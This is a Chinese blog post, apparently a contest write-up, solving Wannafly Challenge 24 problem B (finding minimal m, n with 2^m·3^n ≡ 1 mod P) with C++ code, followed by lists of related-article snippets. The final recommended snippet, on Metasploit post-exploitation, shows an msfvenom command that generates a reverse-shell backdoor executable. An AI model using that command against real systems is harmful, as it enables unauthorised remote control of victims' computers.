小水题???但是时间限制异常鬼畜,跑了2min

\(P | (2^m)*(3^n)-1\)的意思就是\(2^m 3^n = 1 (\text{mod }P)\)

设f[i]表示3^k=i的最小的k

然后枚举2的次幂即可

#include<bits/stdc++.h>
#define il inline
#define vd void
typedef long long ll;
il int gi(){
int x=0,f=1;
char ch=getchar();
while(!isdigit(ch)){
if(ch=='-')f=-1;
ch=getchar();
}
while(isdigit(ch))x=x*10+ch-'0',ch=getchar();
return x*f;
}
int inv,P,ans,ans_m,f[10000010];
il int pow(int x,int y){
int ret=1;
while(y){
if(y&1)ret=1ll*ret*x%P;
x=1ll*x*x%P;y>>=1;
}
return ret;
}
int main(){
#ifndef ONLINE_JUDGE
freopen("186b.in","r",stdin);
freopen("186b.out","w",stdout);
#endif
while(scanf("%d",&P)==1){
memset(f,63,sizeof f);
for(ll i=1,j=3;i<P;++i,j=j*3%P)f[j]=std::min(f[j],(int)i);
ans=1e9;
inv=pow(2,P-2);
for(ll i=1,j=inv;i<P;++i,j=j*inv%P)if(i+f[j]<ans)ans=i+f[j],ans_m=i;
printf("%d %d\n",ans_m,ans-ans_m);
}
return 0;
}

Wannafly挑战赛24 B 222333的更多相关文章

  1. Wannafly挑战赛24游记

    Wannafly挑战赛24游记 A - 石子游戏 题目大意: A和B两人玩游戏,总共有\(n(n\le10^4)\)堆石子,轮流进行一些操作,不能进行下去的人则输掉这局游戏.操作包含以下两种: 把石子 ...

  2. Wannafly挑战赛24

    A. 石子游戏 Alice和Bob在玩游戏,他们面前有n堆石子,对于这些石子他们可以轮流进行一些操作,不能进行下去的人则输掉这局游戏.可以进行两种操作:1. 把石子数为奇数的一堆石子分为两堆正整数个石 ...

  3. 【Wannafly挑战赛24】【C失衡天平】

    https://www.nowcoder.com/acm/contest/186/C 题意:有n个武器,每个武器都有一个重量 Wi,有一个天平,只要两端的重量差不大于m就能达到平衡,求在天平平衡的情况 ...

  4. Wannafly挑战赛25游记

    Wannafly挑战赛25游记 A - 因子 题目大意: 令\(x=n!(n\le10^{12})\),给定一大于\(1\)的正整数\(p(p\le10000)\)求一个\(k\)使得\(p^k|x\ ...

  5. Wannafly挑战赛27

    Wannafly挑战赛27 我打的第一场$Wannafly$是第25场,$T2$竟然出了一个几何题?而且还把我好不容易升上绿的$Rating$又降回了蓝名...之后再不敢打$Wannafly$了. 由 ...

  6. Wannafly 挑战赛 19 参考题解

    这一次的 Wannafly 挑战赛题目是我出的,除了第一题,剩余的题目好像对大部分算法竞赛者来说好像都不是特别友好,但是个人感觉题目质量还是过得去的,下面是题目链接以及题解. [题目链接] Wanna ...

  7. Wannafly挑战赛21A

    题目链接 Wannafly挑战赛21A 题解 代码 #include <cstdio> #include <cmath> #define MAX 1000005 #define ...

  8. Wannafly挑战赛25C 期望操作数

    Wannafly挑战赛25C 期望操作数 简单题啦 \(f[i]=\frac{\sum_{j<=i}f[j]}{i}+1\) \(f[i]=\frac{f[i]}{i}+\frac{\sum_{ ...

  9. Wannafly挑战赛18B 随机数

    Wannafly挑战赛18B 随机数 设\(f_i\)表示生成\(i\)个数有奇数个1的概率. 那么显而易见的递推式:\(f_i=p(1-f_{i-1})+(1-p)f_{i-1}=(1-2p)f_{ ...

随机推荐

  1. 制作 OS X El Capitan 启动盘

    制作 OS X El Capitan 启动盘 1. 下载系统盘的dmg格式 2. 直到出现了 3. 在命令行中找到 Install OS X El Capitan.app 4. 格式化你的U盘(U盘名 ...

  2. Oracle Order By 排序 非主键时 紊乱 重复 问题

    Oracle的分页查询是没有进行任何排序操作的,Oracle是顺序的从数据块中读取符合条件的数据返回到客户端. 而Oracle的排序算法不具有稳定性,也就是说,对于排序键值相等的数据,这种算法完成排序 ...

  3. struts2.5动态方法绑定问题

    <global-allowed-methods>regex:.*</global-allowed-methods> <?xml version="1.0&quo ...

  4. September 24th 2017 Week 39th Sunday

    To live is the rarest thing in the world. Most people exist. That is all. 生活是世间最罕见的事情:生存,却是世间最常见的事情: ...

  5. 什么是SEO服务,企业为什么要做SEO?

    SEO服务: 1. 网站提交服务 网站提交是非常重要的,尤其是英文网站(英文网站可以提交到世界各国比较出色的搜索引擎).网站的提交,增加了潜在客户找到网站的机会.网站的提交是一个不断更新的过程,因为搜 ...

  6. Keepalived 实现双机热备

    原理 首先有一个虚拟ip暴露给客户端,虚拟ip对应的mac地址为一台真实服务器, 即用户向虚拟ip发送一个请求,该请求会被分发到真实服务器上. 现在有2台真实服务器,一台master,一台backup ...

  7. npm使用小结

    npm包管理工具使用小结 npm(node package manager)是一个node包管理工具,我们可以方便的从npm服务器下载第三方包到本地使用. 安装: NPM是随同NodeJS一起安装的包 ...

  8. Android开发经验02:Android 项目开发流程

    Android开发完整流程:   一.用户需求分析 用户需求分析占据整个APP开发流程中最重要的一个环节.一款APP开发的成功与否很大程度都决定于此.这里所说的用户需求分析指的是基于用户的要求所进行的 ...

  9. POJ 3294 Life Forms [最长公共子串加强版 后缀数组 && 二分]

    题目:http://poj.org/problem?id=3294 Life Forms Time Limit: 5000MS   Memory Limit: 65536K Total Submiss ...

  10. msf后渗透

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.e ...